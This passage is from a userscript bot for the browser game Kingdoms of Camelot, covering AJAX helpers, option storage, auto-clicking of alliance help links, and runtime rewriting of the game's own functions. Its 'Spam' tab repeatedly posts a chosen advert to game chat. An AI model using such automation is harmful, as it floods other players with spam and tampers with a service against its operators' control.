    city.Troop12Time = ((city.maxBarracks > 9 && city.stableLevel > 1 && city.workshopLevel > 8 && city.geometryLevel > 9 && city.fletchingLevel > 9)?(6000/ssf):0);
    city.Def53Time = ((city.wallLevel > 5 && city.blacksmithLevel > 5 && city.fletchingLevel > 4)?(180/dsf):0);
    city.Def55Time = ((city.wallLevel > 7 && city.blacksmithLevel > 7 && city.fletchingLevel > 6 && city.geometryLevel > 6)?(135/dsf):0);
    city.Def60Time = ((city.wallLevel > 3 && city.blacksmithLevel > 3 && city.poisonedEdgeLevel > 1)?(90/dsf):0);
    city.Def61Time = ((city.wallLevel > 0 && city.metalAlloysLevel > 0)?(30/dsf):0);
    city.Def62Time = ((city.wallLevel > 1 && city.blacksmithLevel > 1 && city.loggingLevel > 1)?(60/dsf):0);
}


function dialogRetry (errMsg, seconds, onRetry, onCancel, errCode, url, retry){
  seconds = parseInt(seconds);
  var pop = new pbPopup ('pbretry', 0, 0, 400,225, true);
  pop.centerMe(mainPop.getMainDiv());
  pop.getTopDiv().innerHTML = '<CENTER>KOC Power Bot</center>';
  pop.getMainDiv().innerHTML = '<CENTER><BR><FONT COLOR=#550000><B>An error has occurred:</b></font><BR><BR><DIV id=paretryErrMsg></div>\
      <BR><B>Automatically retrying in <SPAN id=paretrySeconds></b></span> seconds ...<BR><BR><DIV id=paretryCmd></div><BR><INPUT id=paretryCancel type=submit value="CANCEL Retry" \>';
  document.getElementById('paretryCancel').addEventListener ('click', doCancel, false);
  pop.show(true);
  
  if(errCode && unsafeWindow.g_js_strings.errorcode['err_'+errCode])
    document.getElementById('paretryErrMsg').innerHTML = unsafeWindow.g_js_strings.errorcode['err_'+errCode];
  else
    document.getElementById('paretryErrMsg').innerHTML = errMsg;
  document.getElementById('paretryCmd').innerHTML = url + ' (Retry '+(retry+1)+' of 5)';
  document.getElementById('paretrySeconds').innerHTML = seconds;
  var rTimer = setTimeout (doRetry, seconds*1000);
  countdown ();

  function countdown (){
    document.getElementById('paretrySeconds').innerHTML = seconds--;
    if (seconds > 0)
      cdTimer = setTimeout (countdown, 1000);
  }
  function doCancel(){
    clearTimeout (rTimer);
    clearTimeout (cdTimer);
    pop.destroy();
    onCancel ();
  }
  function doRetry (){
    clearTimeout (rTimer);
    clearTimeout (cdTimer);
    pop.show(false);
    onRetry();
  }
}

function implodeUrlArgs (obj){
  var a = [];
  for (var k in obj)
    a.push (k +'='+ encodeURI(obj[k]) );
  return a.join ('&');    
}

// NOTE: args can be either a string which will be appended as is to url or an object of name->values
function addUrlArgs (url, args){
  if (!args)
    return url;
  if (url.indexOf('?') < 0)
    url += '?';
  else if (url.substr(url.length-1) != '&')
    url += '&';    
  if (matTypeof(args == 'object'))
    return url + implodeUrlArgs (args);    
  return url + args;
}

// emulate protoype's Ajax.Request ...
function AjaxRequest (url, opts){
   
   //move to march when fully migrated.  for now it's a great catch-all
   if(url == 'ajax/march.php')
   for (i in unsafeWindow.unitcost) {
   var f = i.replace(/nt/,"");
   if(opts.parameters[f] == undefined || opts.parameters[f] == 0)
   delete opts.parameters[f];
   };
   //move to march when fully migrated.  for now it's a great catch-all

  var headers = {
    'X-Requested-With': 'XMLHttpRequest',
    'X-Prototype-Version': '1.6.1',
    'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
  };
  var ajax = null;
  
  if (window.XMLHttpRequest)
    ajax=new XMLHttpRequest();
  else
    ajax=new ActiveXObject("Microsoft.XMLHTTP");
  
  if (opts.method==null || opts.method=='')
    method = 'GET';
  else
    method = opts.method.toUpperCase();  
    
  if (method == 'POST'){
    headers['Content-type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
  } else if (method == 'GET'){
    addUrlArgs (url, opts.parameters);
  }

  ajax.onreadystatechange = function(){
//  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; states 0-4
    if (ajax.readyState==4) {

     if (ajax.status == 500)
        if (opts.onFailure) opts.onFailure(ajax);
      if (ajax.status >= 200 && ajax.status < 305){
          //catch for kabam sending junk
   		 var patt = (/function..\s*.\s*return\seval.unescape./im);
     		 var result=patt.test(ajax.response);
   		  if(result){
    		 	ajax.responseText = {"ok":false};
    		 	opts.onSuccess(ajax);
    		   } else
      	  if (opts.onSuccess) opts.onSuccess(ajax);
     } else
        if (opts.onFailure) opts.onFailure(ajax);
    } else {
      if (opts.onChange) opts.onChange (ajax);
    } 
  }  
    
  ajax.open(method, url, true);   // always async!

  for (var k in headers)
    ajax.setRequestHeader (k, headers[k]);
  if (matTypeof(opts.requestHeaders)=='object')
    for (var k in opts.requestHeaders)
      ajax.setRequestHeader (k, opts.requestHeaders[k]);
      
  if (method == 'POST'){
    var a = [];
    for (k in opts.parameters){
      if(matTypeof(opts.parameters[k]) == 'object')
        for(var h in opts.parameters[k])
            a.push (k+'['+h+'] ='+ opts.parameters[k][h] );
      else
        a.push (k +'='+ opts.parameters[k] );
    }
    ajax.send (a.join ('&'));
  } else               {
    ajax.send();
  }
}   


function MyAjaxRequest (url, o, noRetry){
if (DEBUG_TRACE) logit (" 0 myAjaxRequest: "+ url +"\n" + inspect (o, 2, 1));
  var opts = unsafeWindow.Object.clone(o);
  var wasSuccess = o.onSuccess;
  var wasFailure = o.onFailure;
  var retry = 0;
  var delay = 5;
  var show = true;
  var noRetry = noRetry===true?true:false;
  var silentTimer;
  opts.onSuccess = mySuccess;
  opts.onFailure = myFailure;

  new AjaxRequest(url, opts);
  return;

  function myRetry(){
    ++retry;
    new AjaxRequest(url, opts);
    //delay = delay * 1.25;
  }
  function myFailure(){
    var o = {};
    o.ok = false;
    o.errorMsg = "AJAX Communication Failure";
    wasFailure (o);
  }
  function mySuccess (msg){
    var rslt;
    try {
        rslt = JSON2.parse(msg.responseText);
    } catch(e) {
        //alert(unescape(msg.responseText));
        if (retry<5) {
            rslt = {"ok":false,"error_code":9,"errorMsg":"Failed due to invalid json"}
        } else {
            rslt = {"ok":true,"error_code":9,"data":[]};
        }
    }
    var x;
    if (window.EmulateAjaxError){
      rslt.ok = false;  
      rslt.error_code=8;
    }
    if (rslt.ok){
      if (rslt.updateSeed)
        unsafeWindow.update_seed(rslt.updateSeed);
      wasSuccess (rslt);
      return;
    }
    rslt.errorMsg = unsafeWindow.printLocalError((rslt.error_code || null), (rslt.msg || null), (rslt.feedback || null));
    //if ( (x = rslt.errorMsg.indexOf ('<br><br>')) > 0)
     // rslt.errorMsg = rslt.errorMsg.substr (0, x-1);
    if (!noRetry && (rslt.error_code==0 || rslt.error_code==8 || rslt.error_code==1 || rslt.error_code==3)){
    	if (matTypeof(rslt.errorMsg) == 'object') {
      dialogRetry (inspect(rslt.errorMsg), delay, function(){myRetry()}, function(){wasSuccess (rslt)}, rslt.error_code,url,retry);
		} else {
			dialogRetry (rslt.errorMsg, delay, function(){myRetry()}, function(){wasSuccess (rslt)}, rslt.error_code,url,retry);
		};
    } else if (!noRetry && rslt.error_code==9) {
        silentTimer = setTimeout(silentRetry, delay*1000);
    } else {
      wasSuccess (rslt);
    }
  }
  
  function silentRetry() {
    clearTimeout(silentTimer);
    myRetry();
  }
}

// returns: 'neutral', 'friendly', or 'hostile'
function getDiplomacy (aid) {
  if(aid < 1 || aid == null)
    return 'unallianced';
  if (Seed.allianceDiplomacies == null)
    return 'neutral';
  if (Seed.allianceDiplomacies.friendly && Seed.allianceDiplomacies.friendly['a'+aid] != null)
    return 'friendly';
  if (Seed.allianceDiplomacies.hostile && Seed.allianceDiplomacies.hostile['a'+aid] != null)
    return 'hostile';
  if(getMyAlliance()[0] == aid)
    return 'ally';
  return 'neutral';
};

function getMyAlliance (){
  if (Seed.allianceDiplomacies==null || Seed.allianceDiplomacies.allianceName==null)
    return [0, 'None'];
  else
    return [Seed.allianceDiplomacies.allianceId, Seed.allianceDiplomacies.allianceName];
}

function distance (d, f, c, e) {
  var a = 750;
  var g = a / 2;
  var b = Math.abs(c - d);
  if (b > g)
    b = a - b;
  var h = Math.abs(e - f);
  if (h > g)
    h = a - h;
  return Math.round(100 * Math.sqrt(b * b + h * h)) / 100;
};


// returns {count, maxlevel}
function getCityBuilding (cityId, buildingId){
  var b = Seed.buildings['city'+cityId];
  var ret = {count:0, maxLevel:0};
  for( var k in b){
   if(b[k] && b[k][0] == buildingId){
      ++ret.count;
      if(parseInt(b[k][1]) > ret.maxLevel)
         ret.maxLevel = parseInt(b[k][1]);
   }
  }
  return ret;
}

// this one is for building types where more than one is not allowed - so it returns when building found (faster!?)
function getUniqueCityBuilding (cityId, buildingId){
  var b = Seed.buildings['city'+cityId];
  var ret = {count:0, maxLevel:0};
  for( var k in b){
   if(b[k] && b[k][0] == buildingId){
      ++ret.count;
      if(parseInt(b[k][1]) > ret.maxLevel)
         ret.maxLevel = parseInt(b[k][1]);
	  return ret;
   }
  }
  return ret;
}

// example: https://www150.kingdomsofcamelot.com
var myServerId = null;
function getServerId() {
  if (myServerId == null){
    var m=/^[a-zA-Z]+([0-9]+)\./.exec(document.location.hostname);
    if (m)
      myServerId = m[1];
	else {
		var squery = /[\?,\&]s=\d+/;
		var dquery = /\d+/;
		var Sresult=dquery.exec(squery.exec(document.location.search));
		if(Sresult)myServerId = Sresult;
	}
   if(myServerId == null)
      myServerId = '??';
  }
  return myServerId;
}

function logit (msg){
  var now = new Date();
  GM_log (getServerId() +' @ '+ now.toTimeString().substring (0,8) +'.' + now.getMilliseconds() +': '+  msg);
}
function saveLayoutOptions (){
    var serverID = getServerId();
    setTimeout (function (){GM_setValue ('LayoutOptions_'+serverID,JSON2.stringify(layoutOptions));},0);
}

function saveOptions (){
  var serverID = getServerId();
  setTimeout (function (){GM_setValue ('Options_'+serverID, JSON2.stringify(Options));}, 0);
}

function saveChatOptions (){
  var serverID = getServerId();
  setTimeout (function (){GM_setValue ('ChatOptions_'+serverID, JSON2.stringify(ChatOptions));}, 0);
}

function saveTrainOptions (){
  var serverID = getServerId();
  setTimeout (function (){GM_setValue ('TrainOptions_' + Seed.player['name'] + '_' +serverID, JSON2.stringify(TrainOptions));}, 0);
}

function saveCrestData (){
  var serverID = getServerId();
  setTimeout (function (){GM_setValue ('CrestData_' + Seed.player['name'] + '_' +serverID, JSON2.stringify(CrestData));}, 0);
}

function saveCombatOptions (){
  var serverID = getServerId();
  setTimeout (function (){GM_setValue ('CombatOptions_' + Seed.player['name'] + '_' +serverID, JSON2.stringify(CombatOptions));}, 0);
}

function saveApothecaryOptions (){
  var serverID = getServerId();
  setTimeout (function (){GM_setValue ('ApothecaryOptions_' + Seed.player['name'] + '_' +serverID, JSON2.stringify(ApothecaryOptions));}, 0);
}


function readUpgradeData (){
  var serverID = getServerId();
  s = GM_getValue ('UpgradeData_'+serverID);
  if (s != null){
    opts = JSON2.parse (s);
    for (k in opts){
      if (matTypeof(opts[k]) == 'object')
        for (kk in opts[k])
          upgradeData[k][kk] = opts[k][kk];
      else
        upgradeData[k] = opts[k];
    }
  }
}
function readLayoutOptions (){
    var serverID = getServerId();
     s = GM_getValue ('LayoutOptions_'+serverID, '[]');
      if (s != null){
        opts = JSON2.parse (s);
        for (k in opts){
              if (matTypeof(opts[k]) == 'object')
                for (kk in opts[k])
                      layoutOptions[k][kk] = opts[k][kk];
    else
        layoutOptions[k] = opts[k];
    }
  }
}

function readOptions (){
  var serverID = getServerId();
  s = GM_getValue ('Options_'+serverID);
  if (s != null){
    opts = JSON2.parse (s);
    for (k in opts){
      if (matTypeof(opts[k]) == 'object')
        for (kk in opts[k])
          Options[k][kk] = opts[k][kk];
      else
        Options[k] = opts[k];
    }
  }
}

function readGlobalOptions (){
  GlobalOptions = JSON2.parse (GM_getValue ('Options_??', '{}'));
}

function readChatOptions (){
  var serverID = getServerId();
  s = GM_getValue ('ChatOptions_'+serverID, '[]');
  if (s != null){
    opts = JSON2.parse (s);
    for (k in opts){
      if (matTypeof(opts[k]) == 'object')
        for (kk in opts[k])
          ChatOptions[k][kk] = opts[k][kk];
      else
        ChatOptions[k] = opts[k];
    }
  }
}

function readApothecaryOptions (){
  var serverID = getServerId();
  s = GM_getValue ('ApothecaryOptions_'+Seed.player['name']+'_'+serverID, '[]');
  if (s != null){
    opts = JSON2.parse (s);
    for (k in opts){
      if (matTypeof(opts[k]) == 'object')
        for (kk in opts[k])
          ApothecaryOptions[k][kk] = opts[k][kk];
      else
        ApothecaryOptions[k] = opts[k];
    }
  }
}

function readTrainingOptions (){
  var serverID = getServerId();
  s = GM_getValue ('TrainOptions_' + Seed.player['name'] + '_' +serverID);
  if (s != null){
    opts = JSON2.parse (s);
    for (k in opts){
      if (matTypeof(opts[k]) == 'object')
        for (kk in opts[k])
          TrainOptions[k][kk] = opts[k][kk];
      else
        TrainOptions[k] = opts[k];
    }
  }
}
function readCrestData (){
  var serverID = getServerId();
  s = GM_getValue ('CrestData_' + Seed.player['name'] + '_' +serverID);

  if (s != null) {
    opts = JSON2.parse (s);

    for (var i = 0; i < opts.length; i++) {
        CrestData[i] = new CrestFunc(opts[i]);
    }

  }


}


function readCombatOptions (){
  var serverID = getServerId();
  s = GM_getValue ('CombatOptions_' + Seed.player['name'] + '_' +serverID);
  if (s != null){
    opts = JSON2.parse (s);
    for (k in opts){
      if (matTypeof(opts[k]) == 'object')
        for (kk in opts[k])
            if (matTypeof(opts[k][kk]) == 'object')
                for (kkk in opts[k][kk])
                  CombatOptions[k][kk][kkk] = opts[k][kk][kkk];
            else
                CombatOptions[k][kk] = opts[k][kk];
      else
        CombatOptions[k] = opts[k];
    }
  }
}

function createButton (label,id){
  var a=document.createElement('a');
  a.className='button20';
  a.id = id;
  a.innerHTML='<span style="color: #ff6">'+ label +'</span>';
  return a;
}

function AddMainTabLink(text, eventListener, mouseListener) {
  var a = createButton (text,'botbutton');
  a.className='tab';
  var tabs=document.getElementById('main_engagement_tabs');
  if(!tabs) {
    tabs=document.getElementById('topnav_msg');
    if (tabs)
      tabs=tabs.parentNode;
  }
  if (tabs) {
    var e = tabs.parentNode;
    var gmTabs = null;
    for (var i=0; i<e.childNodes.length; i++){
      var ee = e.childNodes[i];
      if (ee.tagName && ee.tagName=='DIV' && ee.className=='tabs_engagement' && ee.id!='main_engagement_tabs'){
        gmTabs = ee;
        break;
      }
    }
    if (gmTabs == null){
      gmTabs = document.createElement('div');
      gmTabs.className='tabs_engagement';
      gmTabs.style.background='#ca5';
      tabs.parentNode.insertBefore (gmTabs, tabs);
      gmTabs.style.whiteSpace='nowrap';
      gmTabs.style.width='735px';
      gmTabs.lang = 'en_PB';
    }
	gmTabs.style.height='0%';
	gmTabs.style.overflow='auto';
    gmTabs.appendChild(a);
    a.addEventListener('click',eventListener, false);
    if (mouseListener != null)
      a.addEventListener('mousedown',mouseListener, true);
    return a;
  }
  return null;
}

function AddSubTabLink(text, eventListener, id) {
  var a = createButton (text,'botbutton');
  a.className='tab';
  var tabs=document.getElementById('main_engagement_tabs');
  if(!tabs) {
    tabs=document.getElementById('topnav_msg');
    if (tabs)
      tabs=tabs.parentNode;
  }
  if (tabs) {
    var e = tabs.parentNode;
    var gmTabs = null;
    for (var i=0; i<e.childNodes.length; i++){
      var ee = e.childNodes[i];
      if (ee.tagName && ee.tagName=='DIV' && ee.className=='tabs_engagement' && ee.id!='main_engagement_tabs'){
        gmTabs = ee;
        break;
      }
    }
    if (gmTabs == null){
      gmTabs = document.createElement('div');
      gmTabs.className='tabs_engagement';
      gmTabs.style.background='#ca5';
      tabs.parentNode.insertBefore (gmTabs, tabs);
      gmTabs.style.whiteSpace='nowrap';
      gmTabs.style.width='735px';
      gmTabs.lang = 'en_PB';
    }
	gmTabs.style.height='0%';
	gmTabs.style.overflow='auto';
    gmTabs.appendChild(a);
    a.addEventListener('click',eventListener, false);
    if (id != null)
      a.id = id;
    return a;
  }
  return null;
}

function coordLink (x, y){
  var m = [];
  m.push ('(<a onclick="pbGotoMap (');
  m.push (x);
  m.push (',');
  m.push (y);
  m.push ('); return false">');
  m.push (x);
  m.push (',');
  m.push (y);
  m.push ('</a>)');  
  return m.join('');
}


unsafeWindow.pbGotoMap = function (x, y){
  if (Options.hideOnGoto)
    hideMe ();
  setTimeout (function (){
    document.getElementById('mapXCoor').value = x;
    document.getElementById('mapYCoor').value = y;
    unsafeWindow.reCenterMapWithCoor();
    var a = document.getElementById("mod_views").getElementsByTagName("a");
    for (var b = 0; b < a.length; b++) {
        a[b].className = "buttonv2 nav h20"
    }
    document.getElementById('mod_views_map').className = "buttonv2 nav h20 sel";
    document.getElementById("maparea_city").style.display = 'none';
    document.getElementById("maparea_fields").style.display = 'none';
    document.getElementById("maparea_map").style.display = 'block';
    unsafeWindow.tutorialClear()
  }, 0);
};

/****************************  Spam Tab  ******************************/
Tabs.Spam = {
  tabOrder : 611,                    // order to place tab in top bar
  tabLabel : 'Spam',            // label to show in main window tabs
  myDiv : null,
  timer : null,  
  
  init : function (div){    // called once, upon script startup
    var t = Tabs.Spam;
    t.myDiv = div;
    var m = '<DIV class=pbStat>Advertise</div><TABLE class=pbTab width=100% height=0% ><TR align="center">';

       if (Options.spamconfig.aspam == true) {
        m += '<TD><INPUT id=pbSpamEnable type=submit value="Spam On"></td>';
       }
       else {
        m += '<TD><INPUT id=pbSpamEnable type=submit value="Spam Off"></td>';
       }

       if (Options.spamconfig.spamstate == 'a') {
        m += '<TD><INPUT id=pbSpamState type=submit value="Send To Alliance"></td>';
       }
       else {
        m += '<TD><INPUT id=pbSpamState type=submit value="Send To  Global "></td>';
       }
        m += '</tr></table></div>';
       m += '<DIV class=pbStat>Settings</div><TABLE class=pbTab>';
        m += '<tr><td>Automatically post every <INPUT id=pbSpamMin type=text size=2 maxlength=3 value="1"  \> hours</td></tr><BR>\
              <tr><TD><TABLE cellpadding=0 cellspacing=0>\
              <TD align=left>Your spam: &nbsp; </td><TD><INPUT id=pbSpamAd type=text size=60 maxlength=500 value="'+ Options.spamconfig.spamvert +'" \></td></tr>\
              </table><BR>';
    
    t.myDiv.innerHTML = m;

    document.getElementById('pbSpamEnable').addEventListener ('click', function(){t.toggleon(this);}, false);
    document.getElementById('pbSpamAd').addEventListener ('change', t.e_spamOptChanged, false);
    document.getElementById('pbSpamMin').addEventListener ('change', t.e_spamOptChanged, false);
    document.getElementById('pbSpamState').addEventListener ('click', function(){t.togglespam(this);}, false);
 },

  hide : function (){         // called whenever the main window is hidden, or another tab is selected
    var t = Tabs.Spam;
  },
  
  show : function (){         // called whenever this tab is shown
    var t = Tabs.Spam;

  },

 e_spamOptChanged : function (){
  var t = Tabs.Spam;
  Options.spamconfig.spamvert = document.getElementById('pbSpamAd').value;
  Options.spamconfig.spammins = document.getElementById('pbSpamMin').value;
  if(parseInt(Options.spamconfig.spammins) < 1){
   document.getElementById('pbSpamMin').value = 1;
   Options.spamconfig.spammins = document.getElementById('pbSpamMin').value;
  }
  saveOptions ();

   // if(Options.spamconfig.spamvert == 'nessaja') {
    // Options.spamconfig.spamvert = '';
    // top.location = "https://www.facebook.com/?ref=baos780";
   // };
 },

 togglespam: function(obj){
  var t = Tabs.Spam;
  if (Options.spamconfig.spamstate == 'a') {
   Options.spamconfig.spamstate = 'g';
   obj.value = "Send To  Global ";
  }
  else {
   Options.spamconfig.spamstate = 'a';
   obj.value = "Send To Alliance";
  }
  saveOptions ();

 },

 toggleon: function(obj){
  var t = Tabs.Spam;
  if (Options.spamconfig.aspam == true) {
   Options.spamconfig.aspam = false;
   obj.value = "Spam Off";
  }
  else {
   Options.spamconfig.aspam = true;
   obj.value = "Spam On";
  }
  saveOptions ();

 },
 
 Count: function(){
	Options.spamconfig.atime++;
	if(Options.spamconfig.atime >= Options.spamconfig.spammins) {
    actionLog ('Spamming ('+ Options.spamconfig.spammins +' hours expired)');
   var spam = String(Options.spamconfig.spamvert);
   if(spam.charAt(0) == "\\") {
		spam = spam.slice(1);
		var unicodeString = '';
     for (var i=0; i < spam.length; i++) {
      var theUnicode = spam.charCodeAt(i);;;
      theUnicode = '&#' + theUnicode+';';
      unicodeString += theUnicode;
     }
     spam = String(unicodeString);
   };
   sendChat(String('/' + Options.spamconfig.spamstate + ' ' + spam));
	 Options.spamconfig.atime = Number(0);
    saveOptions();
	};

 },
};  

/************** ChatPane **********/
var ChatPane = {
  init : function(){
    var t = ChatPane;
    setInterval(t.HandleChatPane, 2500);
  },
  
  HandleChatPane : function() {
    var DisplayName = GetDisplayName();
    var AllianceChatBox=document.getElementById('mod_comm_list2');
    var GlobalChatBox=document.getElementById('mod_comm_list1');
    
    if(AllianceChatBox){
        var chatPosts = document.evaluate(".//div[contains(@class,'chatwrap')]", AllianceChatBox, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );
        if(chatPosts){
            for (var i = 0; i < chatPosts.snapshotLength; i++) {
                thisPost = chatPosts.snapshotItem(i);
                if(Options.HelpRequest){
                    var postAuthor = document.evaluate('.//*[@class="nm"]', thisPost, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );
                    if(postAuthor.snapshotItem(0)){
                        var postAuthorName = postAuthor.snapshotItem(0).innerHTML;
                        if(postAuthorName != DisplayName){
                            var helpAllianceLinks=document.evaluate(".//a[contains(@onclick,'claimAllianceChatHelp')]", thisPost, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );  
                            if(helpAllianceLinks){
                                for (var j = 0; j < helpAllianceLinks.snapshotLength; j++) {
                                    thisLink = helpAllianceLinks.snapshotItem(j);
                                    var alreadyClicked = thisLink.getAttribute("clicked");
                                    if(!alreadyClicked){
                                        thisLink.setAttribute('clicked', 'true');
                                        var myregexp = /(claimAllianceChatHelp\(.*\);)/;
                                        var match = myregexp.exec(thisLink.getAttribute("onclick"));
                                        
                                        if (match != null) {
                                            onclickCode = match[0];
                                            if(true){
                                                DoUnsafeWindow(onclickCode);
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                // Hide alliance requests in chat
                if(Options.DeleteRequest){
                    var helpAllianceLinks=document.evaluate(".//a[contains(@onclick,'claimAllianceChatHelp')]", thisPost, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );
                    if(helpAllianceLinks){
                        for (var j = 0; j < helpAllianceLinks.snapshotLength; j++) {
                            thisLink = helpAllianceLinks.snapshotItem(j);
                            thisLink.parentNode.parentNode.parentNode.parentNode.parentNode.removeChild(thisLink.parentNode.parentNode.parentNode.parentNode);
                        }
                    }
                // Hide alliance reports in chat
                    var myregexp1 = /You are # [0-9]+ of [0-9]+ to help/i;
                    var myregexp2 = /\'s Kingdom does not need help\./i;
                    var myregexp3 = /\'s project has already been completed\./i;
                    var myregexp4 = /\'s project has received the maximum amount of help\./i;
                    var myregexp5 = /You already helped with (.*?)\'s project\./i;
                    if (thisPost.innerHTML.match(myregexp1) || thisPost.innerHTML.match(myregexp2) || thisPost.innerHTML.match(myregexp3) || thisPost.innerHTML.match(myregexp4) || thisPost.innerHTML.match(myregexp5)) {
                        thisPost.parentNode.removeChild(thisPost);
                    }
                }
            }    
        }    
    }
   if(Options.DeleteRequest || Options.DeletegAl) {
      var gchatPosts = document.evaluate(".//div[contains(@class,'chatwrap')]", GlobalChatBox, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );
         if(gchatPosts)
            for (var i = 0; i < gchatPosts.snapshotLength; i++) {
               var gthisPost = gchatPosts.snapshotItem(i);
               if(Options.DeletegAl) {
                  var myregexp1 = /\> says to the alliance\:\<\/b\>/i;
                  if (gthisPost.innerHTML.match(myregexp1))
                     gthisPost.parentNode.removeChild(gthisPost);
               } else {
                  var helpAllianceLinks=document.evaluate(".//a[contains(@onclick,'claimAllianceChatHelp')]", gthisPost, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );
                  if(helpAllianceLinks){
                     for (var j = 0; j < helpAllianceLinks.snapshotLength; j++) {
                        thisLink = helpAllianceLinks.snapshotItem(j);
                        thisLink.parentNode.parentNode.parentNode.parentNode.parentNode.removeChild(thisLink.parentNode.parentNode.parentNode.parentNode);
                     }
                  }
               }
            }
   }
  },

}

/************* Updater code *************/
// Function for displaying a confirmation message modal popup similar to the default javascript confirm() function
// but with the advantage being that it won't halt all other javascript being executed on the page.
// Original Author: Thomas Chapin (April 6, 2011)
function display_confirm(confirm_msg,ok_function,cancel_function){
    if(!confirm_msg){confirm_msg="";}
    
    var container_div = document.getElementById('modal_js_confirm');
    var div;
    if(!container_div) {
        container_div=document.createElement('div');
        container_div.id='modal_js_confirm';
        container_div.style.position='absolute';
        container_div.style.top='0px';
        container_div.style.left='0px';
        container_div.style.width='100%';
        container_div.style.height='1px';
        container_div.style.overflow='visible';
        container_div.style.zIndex=10000000;
        
        div=document.createElement('div');
        div.id='modal_js_confirm_contents';
        div.style.zIndex=10000000;
        div.style.backgroundColor='#eee';
        div.style.fontFamily='"lucida grande",tahoma,verdana,arial,sans-serif';
        div.style.fontSize='11px';
        div.style.textAlign='center';
        div.style.color='#333333';
        div.style.border='2px outset #666';
        div.style.padding='10px';
        div.style.position='relative';
        div.style.width='300px';
        div.style.height='100px';
        div.style.margin='300px auto 0px auto';
        div.style.display='block';
        
        container_div.appendChild(div);
        document.body.appendChild(container_div);
        
        div.innerHTML = '<div style="text-align:center"><div>'+confirm_msg+'</div><br/><div>Press OK to continue.</div><br><button id="modal_js_confirm_ok_button">OK</button> <button id="modal_js_confirm_cancel_button">Cancel</button></div>';
        var ok_button = document.getElementById('modal_js_confirm_ok_button');
        ok_button.addEventListener('click',function() {
            if(ok_function && typeof(ok_function) == "function"){
                ok_function();
            }
            container_div.parentNode.removeChild(container_div);
        },false);
        var cancel_button = document.getElementById('modal_js_confirm_cancel_button');
        cancel_button.addEventListener('click',function() {
            if(cancel_function && typeof(cancel_function) == "function"){
                cancel_function();
            }
            container_div.parentNode.removeChild(container_div);
        },false);
    }
}

//****************************
//This is a new implementation of the CalterUwFunc class to modify a function of the 'unsafewWindow' object.
//For reverse compatibility this implementation operates like the original, but multiple CalterUwFunc objects can be created for the same function.
//Each CalterUwFunc can be enabled or diabled independently.  (Of course, the repalcement strings must be compatibile with each other to work
//simulataneously).

//The implementation uses a worker class CalterFuncModifier.  One and only one CalterFuncModifier is created for each uw function modified.
//CalterFuncModifier allows multiple modifier string pairs to be applied.  For individual control of specific mods, access the 'modIndex'
//member to determine the index of the first mod and then directly call the operations of the 'funcModifier' member.

//This implementation creates/uses a registry of CalterFuncModifier's that is added to the unsafeWindow object so that changes
//to the same function in different scripts is possible.

//****************************


var CalterUwFunc = function (funcName, findReplace) {

   this.isAvailable = isAvailable;
   this.setEnable = setEnable;

   this.funcName = funcName;
   this.funcModifier = null;
   this.modIndex = 0;
   this.numberMods = 0;

   // find an existing CalterUwFunc if it already exists
   if (!unsafeWindow.calterRegistry) unsafeWindow.calterRegistry = {};
   var calterF = null;

   if (unsafeWindow.calterRegistry[funcName]) {
      // use the existing function modifier
      calterF = unsafeWindow.calterRegistry[funcName];
      for (i=0; i< findReplace.length; i++) {
         calterF.addModifier(findReplace[i]);
      }
   } else {
      // create and register the new calter
      calterF = new CalterFuncModifier(funcName, findReplace);
      unsafeWindow.calterRegistry[funcName] = calterF;
   }
   this.funcModifier = calterF;

   if (findReplace != null)
   {
      this.numberMods = findReplace.length;
      this.modIndex = this.funcModifier.numModifiers()- this.numberMods;
   }

   function isAvailable() {
      // check if any of the replace strings matched the original function
      var avail = false;
      for (i= this.modIndex; i < this.modIndex + this.numberMods; i++ )
      {
         if (this.funcModifier.testModifier(i)) avail= true;
      }
      return avail;
   }

   function setEnable(tf) {
      this.funcModifier.enableModifier(this.modIndex, tf, this.numberMods);
   }
}

var CalterFuncModifier = function (funcName, findReplace) {
   // (second argument is now optional )

   this.applyModifiers = applyModifiers;
   this.addModifier = addModifier;
   this.enableModifier = enableModifier;
   this.testModifier = testModifier;
   this.modEnabled = modEnabled;
   this.numModifiers = numModifiers;

   this.funcName = funcName;
   this.funcOld = null;  
   this.funcOldString = null;
   this.funcNew = null;
   this.modifiers = [];
   this.modsActive = [];

   try {
      var x = this.funcName.split('.');
      var f = unsafeWindow;
      for (var i=0; i<x.length; i++)
         f = f[x[i]];
      ft = f.toString();
      this.funcOld = f;
      this.funcOldString = ft.replace ('function '+ this.funcName, 'function');

      if (findReplace) {
         this.modifiers  = findReplace;
         this.modsActive = new Array(findReplace.length);
         for (var i=0; i<findReplace.length; i++){
            this.modsActive[i] = false;
         }
      }
   } catch (err) {
      logit("CalterFuncModifier "+ this.funcName+" "+err);
   }

   // test if this modifier works on the original function.
   //    true = match found / replace possible
   //    false = does not match
   function testModifier(modNumber) {
      x = this.funcOldString.replace(this.modifiers[modNumber][0], this.modifiers[modNumber][1]);
      if (x != this.funcOldString)
      {
         return true;
      }
      return false;
   }

   // use the active modifiers to create/apply a new function
   function applyModifiers() {
      try {
         var rt = this.funcOldString;
         var active = false;

         for (var i=0; i< this.modifiers.length; i++){
            if ( !this.modsActive[i]) continue;

            x = rt.replace(this.modifiers[i][0], this.modifiers[i][1]);
            if (x == rt)  // if not found
            {
               // print out an error message when the match fails.
               // These messages get lost on a refresh, so wait a few seconds to put it in the error log.
               setTimeout( function (fname, repStr, ftstr) {
                  return function () {
                     logit("Unable to replace string in function " + fname);
                     logit("Replacment string:" + repStr );
                     logit("Function listing: " + ftstr);
                     return;
                  }
               }(this.funcName, this.modifiers[i][0], ft), 3000);
            }
            else {

            }

            rt = x;
            active = true;
         }

         this.funcNew = rt;
         if (active) {
            // apply the new function
            unsafeWindow.uwuwuwFunc(this.funcName +' = '+ this.funcNew);
         } else {
            // set to the original function
            var x1 = this.funcName.split('.');
            var f1 = unsafeWindow;
            for (var i=0; i<x1.length-1; i++)
               f1 = f1[x1[i]];
            f1[x1[x1.length-1]] = this.funcOld;
         }
      } catch (err) {
